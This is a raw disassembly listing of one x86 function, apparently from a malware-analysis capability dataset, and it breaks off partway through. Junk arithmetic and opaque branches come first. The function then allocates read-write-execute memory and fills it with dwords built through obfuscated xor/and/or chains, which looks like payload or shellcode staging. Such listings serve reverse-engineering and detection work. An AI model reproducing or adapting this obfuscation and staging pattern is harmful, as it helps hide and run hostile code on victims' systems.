Function at 0x4114b0
Capabilities:
Authenticate hmac
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
mov dword [ebp - 4], 0x2e0d
mov dword [ebp - 0x10], 0x547e
mov dword [ebp - 0x74], 0xe896
mov dword [ebp - 0x3c], 0x163db
mov dword [ebp - 0x38], 0xed19
mov dword [ebp - 0x34], 0xc22
mov dword [ebp - 0x18], 0xbb27
mov dword [ebp - 0x1c], 0xa43
mov dword [ebp - 0x30], 0x162a7
mov dword [ebp - 0x2c], 0x156b
mov dword [ebp - 8], 0xb0aa
mov dword [ebp - 0x20], 0x6756
mov dword [ebp - 0xc], 0x70fd
mov dword [ebp - 0x40], 0x5d26
mov dword [ebp - 0x50], 0xf357
mov dword [ebp - 0x24], 0x61c8
mov dword [ebp - 0x28], 0x6867
mov dword [ebp - 0x48], 0x5cd
mov dword [ebp - 0x14], 0x1625f
mov dword [ebp - 0x4c], 0xaa15
mov dword [ebp - 0x44], 0xfb0c
call fcn.00406ca0
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x60], 0
je 0x411595
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 4]
je 0x411595
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0x40]
je 0x411595
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 8]
and edx, dword [ebp - 0x2c]
je 0x4115cd
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x48]
jge 0x4115cd
mov ecx, dword [ebp - 0x1c]
or ecx, dword [ebp - 0x24]
je 0x4115cd
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x3c]
jl 0x4115e2
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
or edx, dword [ebp - 0x10]
je 0x411698
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x38]
je 0x4115f2
mov ecx, dword [ebp - 0x14]
or ecx, dword [ebp - 0x4c]
jne 0x4115fe
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x1c]
jge 0x411698
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x40]
jge 0x41160f
mov dword [ebp - 0x54], 1
jmp 0x411616
mov dword [ebp - 0x54], 0
mov ecx, dword [ebp - 0x18]
or ecx, dword [ebp - 0x54]
je 0x411629
mov edx, dword [ebp - 0x48]
imul edx, dword [ebp - 4]
test edx, edx
jne 0x411635
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x34]
jge 0x411698
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x68]
jge 0x41167b
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x70]
jl 0x41168f
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x10]
jge 0x411698
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
push 0x40
push 0x3000
mov ecx, dword [0x58b1d8]
add ecx, 0x1000
push ecx
push 0
call fcn.005858b0
add esp, 0x10
mov dword [0x58b220], eax
mov edx, dword [ebp - 0xc]
add edx, 0x34bf
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
jmp 0x4116db
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x2c]
jge 0x411847
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x34]
jl 0x411733
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x74]
jge 0x411708
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x3c]
jl 0x411733
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x38]
jge 0x411792
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x20]
jge 0x411792
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x1c]
jne 0x411743
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x14]
jge 0x411792
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0x20]
je 0x41175c
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x44]
jl 0x41176d
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x40]
jge 0x411792
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x48]
jge 0x411792
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
jge 0x411792
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x78]
cmp edx, dword [ebp - 0x7c]
jl 0x411827
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
jne 0x411827
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [ebp - 0x84]
jl 0x411827
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x88], 0
jne 0x411827
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x14]
jge 0x411830
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
jmp 0x4116d2
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x2c]
jge 0x4118a1
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp - 0x90]
jge 0x411881
mov dword [ebp - 0x58], 1
jmp 0x411888
mov dword [ebp - 0x58], 0
mov edx, dword [ebp - 0x24]
and edx, dword [ebp - 0x58]
je 0x4118a1
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0xc]
jl 0x4118b2
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
or eax, dword [ebp - 0x4c]
je 0x4118bb
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x14]
jge 0x4118cc
mov dword [ebp - 0x5c], 1
jmp 0x4118d3
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x5c]
jne 0x4118fe
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x40]
jl 0x4118fe
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x28]
jge 0x4118f6
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jl 0x4118fe
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x10]
jge 0x411907
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
call fcn.0040ff80
mov eax, dword [0x58b220]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
mov eax, 0x5dc3b802
mov ebx, dword [ebp - 0x94]
mov edx, 4
xor eax, 0x24d446f2
and eax, 0x759afe2
and eax, 0x1000e0
or eax, 0x40a0009
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd26298f
and eax, 0x142800
or eax, 0x64405200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16a998f9
xor eax, 0x58c8d6a8
and eax, 0x22013050
or eax, 0x45484924
mov dword [ebx], eax
add ebx, edx
and eax, 0x90b2f77
and eax, 0x41051091
and eax, 0x10
or eax, 0x48776a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7335786d
and eax, 0x50550400
or eax, 0x8004000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e87b64a
xor eax, 0x429e47f5
and eax, 0x10410026
or eax, 0x63304c40
mov dword [ebx], eax
add ebx, edx
or eax, 0x12e78020
or eax, 0x47f4a6e
and eax, 0x50624a6a
or eax, 0x8001000
mov dword [ebx], eax
add ebx, edx
or eax, 0xdc92fcb
and eax, 0x4162724a
or eax, 0x20100004
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e0892ec
and eax, 0
or eax, 0x58464500
mov dword [ebx], eax
add ebx, edx
or eax, 0x38764185
or eax, 0x92445c9
and eax, 0x5942404d
or eax, 0x13000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fb50bf0
xor eax, 0x10ebe2a9
and eax, 0x60081854
or eax, 0x10406002
mov dword [ebx], eax
add ebx, edx
and eax, 0x20657884
and eax, 0x470540a2
and eax, 0x4000
or eax, 0x70114c
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ed41095
and eax, 0x6705100
or eax, 0x51030200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6398362d
xor eax, 0x2837573a
and eax, 0x104c3005
or eax, 0x40034848
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cee6091
and eax, 0x4829a201
and eax, 0x2000
or eax, 0x74664666
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c1f5330
and eax, 0x4c725052
or eax, 0x3000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cd85aa8
and eax, 0x4c405000
or eax, 0x212b074f
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c3d4cad
and eax, 0x6c6a4c00
or eax, 0x2000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75f92140
and eax, 0x1124840
or eax, 0x4060022d
mov dword [ebx], eax
add ebx, edx
and eax, 0x36e7b59c
or eax, 0x1f26faa4
and eax, 0x664722c
or eax, 0x40090542
mov dword [ebx], eax
add ebx, edx
or eax, 0x7341b90e
and eax, 0x4a
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35a5ee91
xor eax, 0x3d1dae25
and eax, 0x304000
or eax, 0x43412600
mov dword [ebx], eax
add ebx, edx
and eax, 0x11800e6
and eax, 0x1100000
or eax, 0x74667953
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38420e5e
or eax, 0x73418cb8
and eax, 0x65705801
or eax, 0x80040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x774996b2
xor eax, 0x6baab66c
and eax, 0xd
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
or eax, 0x84167c2
xor eax, 0x3801f011
and eax, section..text
or eax, 0x47234000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b81421b
and eax, 0x50620202
or eax, 0x3094860
mov dword [ebx], eax
add ebx, edx
and eax, 0x51ae4567
and eax, 0x40284060
or eax, 0x24401915
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f939a44
and eax, 0x44001044
or eax, 0xa704011
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a936dcb
and eax, 0x42104040
or eax, 0x4493218
mov dword [ebx], eax
add ebx, edx
or eax, 0x35c1992
or eax, 0x728864f9
and eax, 0x4b
or eax, 4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3951f7c4
and eax, 0x31414100
or eax, 0x44280800
mov dword [ebx], eax
add ebx, edx
or eax, 0x72f6dbf4
and eax, 0x1afc473a
and eax, 0x10544000
or eax, 0x4500104e
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b3806f7
and eax, 0x544264
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x596d72a4
or eax, 0x14901cf
and eax, 0x40556800
or eax, 0x2020400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2966096c
or eax, 0x1a68206
and eax, 0x48176544
or eax, 0x401011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x277e4a61
and eax, 0x30049361
and eax, 0x120
or eax, 0x58496845
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a8a44ac
and eax, 0x70434d69
or eax, 0x4140002
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bc4e6d
and eax, 0x4078476f
or eax, 0x2003000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf03c6e7
or eax, 0x539191ef
and eax, 0x50733100
or eax, 0x4600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f847aed
or eax, 0x22ab7a8
and eax, 0x4b4e0648
or eax, 0x20004000
mov dword [ebx], eax
add ebx, edx
and eax, 0x29f7be7
and eax, 0x2024040
or eax, 0x69510126
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fa1868f
and eax, 0x49000006
or eax, 0x4624c71
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d1b522d
or eax, 0x318dad90
and eax, 0x3152
or eax, 0x4021
mov dword [ebx], eax
add ebx, edx
or eax, 0xfa2a153
and eax, 0x7227100
or eax, 0x60540000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d72fbe
and eax, 0x1502100
or eax, 0x6a094647
mov dword [ebx], eax
add ebx, edx
and eax, 0x220d4013
and eax, 0x22004002
or eax, 0x51703868
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d32276e
or eax, 0x464481a7
and eax, 0x46600000
or eax, 0x20025400
mov dword [ebx], eax
add ebx, edx
and eax, 0x3790bf8c
and eax, 0x22001400
or eax, 0x50756344
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17ae450e
and eax, 0x64531040
or eax, 0xa204004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cd7aee1
and eax, 0x246620
or eax, 0x4443015a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5970e98d
and eax, 0x44666779
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
or eax, 0x77180f1e
and eax, 0x6341
or eax, 0x1000
mov dword [ebx], eax
add ebx, edx
and eax, 0x9f33734
and eax, 0xc38592b
and eax, 0x1000
or eax, 0x6d4e4400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x787fc1eb
and eax, 0x14110449
or eax, 0x40404a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x6dbb580d
xor eax, 0x5f050a59
and eax, 0x2004040
or eax, 0x446a100e
mov dword [ebx], eax
add ebx, edx
or eax, 0x66619f22
and eax, 0x66425046
or eax, 0x8040010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37655fa9
and eax, 0x4cbb4509
and eax, 0
or eax, 0x64
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7077150e
and eax, 0x40621400
or eax, 0xa006000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b6df4c7
and eax, 0x42646447
or eax, 0x4000b10
mov dword [ebx], eax
add ebx, edx
or eax, 0x556e7155
and eax, 0x41425656
or eax, 0x20010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x30e68be8
xor eax, 0x400a0097
and eax, 0x60400047
or eax, 0xf365528
mov dword [ebx], eax
add ebx, edx
and eax, 0x6701fc91
and eax, 0x2e216489
and eax, 0x24004401
or eax, 0x404e086c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5120fe41
and eax, 0x11b8ab08
and eax, 0
or eax, 0x53576363
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52930def
and eax, 0x44460c
or eax, 0x2a1040
mov dword [ebx], eax
add ebx, edx
and eax, 0x49e258b1
and eax, 0x2f9a8bc9
and eax, 0
or eax, 0x644d7a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b461b78
and eax, 0x441000
or eax, 0x61014178
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c429ac0
and eax, 0x74424b78
or eax, 0x2300002
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ae592e8
and eax, 0x400060
or eax, 0x45147117
mov dword [ebx], eax
add ebx, edx
and eax, 0x12e56b39
or eax, 0x7401da22
and eax, 0x74455132
or eax, 0x2a0444
mov dword [ebx], eax
add ebx, edx
and eax, 0x71810dae
and eax, 0x40000002
or eax, 0x1427a49
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1be7520b
and eax, 0x52250840
or eax, 0x2442412e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x581739d
xor eax, 0x35ac0bd9
and eax, 0x20
or eax, 0x45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e491f02
or eax, 0x480bc8e2
and eax, 0x48424200
or eax, 0x202000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a66904
and eax, 0x40400104
or eax, 0x21a6062
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d392fc4
and eax, 0x24d95322
and eax, 0x20414200
or eax, 0x53003559
mov dword [ebx], eax
add ebx, edx
or eax, 0x56c34678
and eax, 0x47425569
or eax, 0x82c0002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f86bc5c
and eax, 0x4ec7a01b
and eax, 0x400000
or eax, 0x622f564c
mov dword [ebx], eax
add ebx, edx
and eax, 0x4944302b
and eax, 0x40401000
or eax, 0x39116345
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1067bc70
or eax, 0x3eb5c715
and eax, 0x6a024630
or eax, 0x482042
mov dword [ebx], eax
add ebx, edx
and eax, 0x14377c71
and eax, 0x33e2e427
and eax, 0
or eax, 0x4a
mov dword [ebx], eax
add ebx, edx
and eax, 0x36b02e77
and eax, 0x6dab7d27
and eax, 0
or eax, 0x67774100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d19f0b1
and eax, 0x406a0100
or eax, 0x34004c46
mov dword [ebx], eax
add ebx, edx
or eax, 0x35b1153f
and eax, 0x604b4161
or eax, 0xa040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d37018c
or eax, 0x2237b722
and eax, 0x6a
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b77d61d
and eax, 0x6b58e6c3
and eax, 0x2504600
or eax, 0x44272900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x82995c6
and eax, 0x4a426a42
or eax, 0x30010408
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ec82628
and eax, 0x5c687cd0
and eax, 0x50484440
or eax, 0x3230006
mov dword [ebx], eax
add ebx, edx
or eax, 0x4403a3ea
and eax, 0x526a6146
or eax, 0x28000810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c23351b
or eax, 0x729064fe
and eax, 0x6450446e
or eax, 0x8200100
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a064516
or eax, 0x68d8379a
and eax, 0x44504500
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x502d4eb9
and eax, 0x40544508
or eax, 0xa001044
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ff0b5f1
and eax, 0xf0210ae
and eax, 0x2001000
or eax, 0x74554977
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4615bb8c
and eax, 0x10406000
or eax, 0x420e0500
mov dword [ebx], eax
add ebx, edx
or eax, 0x182a3f4
and eax, 0x40406754
or eax, 0x2c110001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b13bc61
and eax, 0x3b2c5dd5
and eax, 0x30005000
or eax, 0x44642669
mov dword [ebx], eax
add ebx, edx
and eax, 0x73e21758
and eax, 0x40600600
or eax, 0x4154100
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf6a6545
and eax, 0x410c0240
or eax, 0x4404828
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73a3bfc0
and eax, 0x3887ded4
and eax, 0x20074000
or eax, 0x4f482852
mov dword [ebx], eax
add ebx, edx
or eax, 0x114933d6
or eax, 0x26db0841
and eax, 0x6d435243
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x628a1a90
or eax, 0xe76a426
and eax, 0x42602226
or eax, 0x14951
mov dword [ebx], eax
add ebx, edx
or eax, 0x618edf5b
and eax, 0x4363734a
or eax, 0x100000
mov dword [ebx], eax
add ebx, edx
and eax, 0x12483373
and eax, 0x42
or eax, 5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x696322d6
xor eax, 0x257b9391
and eax, 0x4c183100
or eax, 0x3624200
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f7e9be7
xor eax, 0x21c3d910
and eax, 0x56380073
or eax, 0x404800
mov dword [ebx], eax
add ebx, edx
or eax, 0x16475a68
or eax, 0x40baa7d3
and eax, 0x50797270
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b7f7f78
xor eax, 0x584279f7
and eax, 0x52406443
or eax, 0x40b0300
mov dword [ebx], eax
add ebx, edx
and eax, 0x5022a8e5
xor eax, 0x2aefeb4f
and eax, 0x42444204
or eax, 0x5021051
mov dword [ebx], eax
add ebx, edx
or eax, 0x128d1158
xor eax, 0x1ca7a9c4
and eax, 0x48486200
or eax, 0x4110446
mov dword [ebx], eax
add ebx, edx
and eax, 0xe018d8f
and eax, 0x68411774
and eax, 0x8000000
or eax, 0x46727000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfbe9ad9
and eax, 0x40446840
or eax, 0x2c130104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x586fc5e0
or eax, 0x28ccd1e7
and eax, 0x38745963
or eax, 0x40030000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x195b7f75
and eax, 0x61002212
or eax, 0x14435140
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ead601b
or eax, 0x6900859
and eax, 0x4016849
or eax, 0x494e0520
mov dword [ebx], eax
add ebx, edx
xor eax, 0x496fb443
and eax, 0x3a97428c
and eax, 0x4000
or eax, 0x1470
mov dword [ebx], eax
add ebx, edx
and eax, 0x212c871a
and eax, 0x400
or eax, 0x3ce01000
mov dword [ebx], eax
add ebx, edx
or eax, 0x42e3183b
and eax, 0x6222040b
or eax, 0x1c02c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x437dc54f
and eax, 0x422a078d
or eax, 0x1c802020
mov dword [ebx], eax
add ebx, edx
and eax, 0x65d47fea
and eax, 0x43632091
and eax, 0x2080
or eax, 0x3efa142c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c125f09
and eax, 0x2a221520
or eax, 0x80010042
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5556e845
and eax, 0x541ac06
or eax, 0x8a0058
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8fada92
or eax, 0xdda999b
and eax, 0x1a9221e
or eax, 0x22040020
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fde0dc5
and eax, 0x65e6db37
and eax, 0x1840000
or eax, 0xca285eaa
mov dword [ebx], eax
add ebx, edx
xor eax, 0x287cd60f
or eax, 0x72c3fc22
and eax, 0xa1423c05
or eax, 0xc200200
mov dword [ebx], eax
add ebx, edx
or eax, 0x7481ba85
and eax, 0xac42aa01
or eax, 0x1c0022
mov dword [ebx], eax
add ebx, edx
and eax, 0x251bd07f
and eax, 0x201a0003
or eax, 0x422405c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78e6f896
and eax, 0x374e9516
and eax, 0x12080104
or eax, 0x4ca222a9
mov dword [ebx], eax
add ebx, edx
and eax, 0x14445cf3
and eax, 0x140000a0
or eax, 0x2a05cb0c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c651778
xor eax, 0x35e2e23
and eax, 0x22a062
or eax, 0xaa010d00
mov dword [ebx], eax
add ebx, edx
and eax, 0x715cbf48
or eax, 0x15038454
and eax, 0x503ac54
or eax, 0xc8000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d1958d2
or eax, 0x4aae44b4
and eax, 0x2acb03c
or eax, 0x21010202
mov dword [ebx], eax
add ebx, edx
or eax, 0x7386596a
and eax, 0x71a3502a
or eax, 0x100080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6612734b
and eax, 0x4802201
or eax, 0xa0561c0a
mov dword [ebx], eax
add ebx, edx
or eax, 0x429a2e07
and eax, 0xbafef17
and eax, 0x860a06
or eax, 0xad6081e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x60c33d5f
and eax, 0x24078887
or eax, 0x12184000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ac4c824
xor eax, 0x7b5aaec0
and eax, 0x44814245
or eax, 0x3a580880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a8d66db
or eax, 0xa2e6729
and eax, 0x486a291c
or eax, 0x110090c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4df3c074
and eax, 0x2d03aca7
and eax, 0x800
or eax, 0x8a4ec410
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1697ae1a
and eax, 0x8814008
or eax, 0x63248d35
mov dword [ebx], eax
add ebx, edx
and eax, 0x5db186f7
xor eax, 0x360e546b
and eax, 0x418d1050
or eax, 0x601
mov dword [ebx], eax
add ebx, edx
and eax, 0xc731c1c
and eax, 0x1400
or eax, 0xbede6acf
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f0a4a41
xor eax, 0x4e96e16b
and eax, 0xc1081e20
or eax, 0x203004b
mov dword [ebx], eax
add ebx, edx
and eax, 0x17907fc8
xor eax, 0x134b8193
and eax, 0x10018e03
or eax, 0xef106000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5de08ed8
xor eax, 0x46d068d8
and eax, 0x25060c8
or eax, 0x4010823
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bb9fda5
and eax, 0x210573ff
and eax, 0x10101c8
or eax, 0x52a60c00
mov dword [ebx], eax
add ebx, edx
and eax, 0x24961566
and eax, 0x9ed97b0
and eax, 0x40500
or eax, 0x3e01eaa6
mov dword [ebx], eax
add ebx, edx
and eax, 0x12dc33f2
and eax, 0x2002122
or eax, 0xa8238c40
mov dword [ebx], eax
add ebx, edx
or eax, 0x670f602d
or eax, 0x488087b2
and eax, 0xe383c15e
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x321a309d
or eax, 0x4d60b7e1
and eax, 0xabc043f5
or eax, 0x40800
mov dword [ebx], eax
add ebx, edx
or eax, 0x159c20a5
and eax, 0x3c46330
or eax, 0x40011402
mov dword [ebx], eax
add ebx, edx
and eax, 0x28844a1f
xor eax, 0x82f4962
and eax, 0xb0310
or eax, 0x2500148d
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c3238f2
and eax, 0x251817bb
or eax, 0x448000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x359000fd
and eax, 0x440742
or eax, 0xea132810
mov dword [ebx], eax
add ebx, edx
or eax, 0x61783645
or eax, 0xdac57f5
and eax, 0xc7c30a35
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x456f73a9
and eax, 0x966c6334
or eax, 0x20008000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6be20007
xor eax, 0x231b8b1b
and eax, 0x131091a
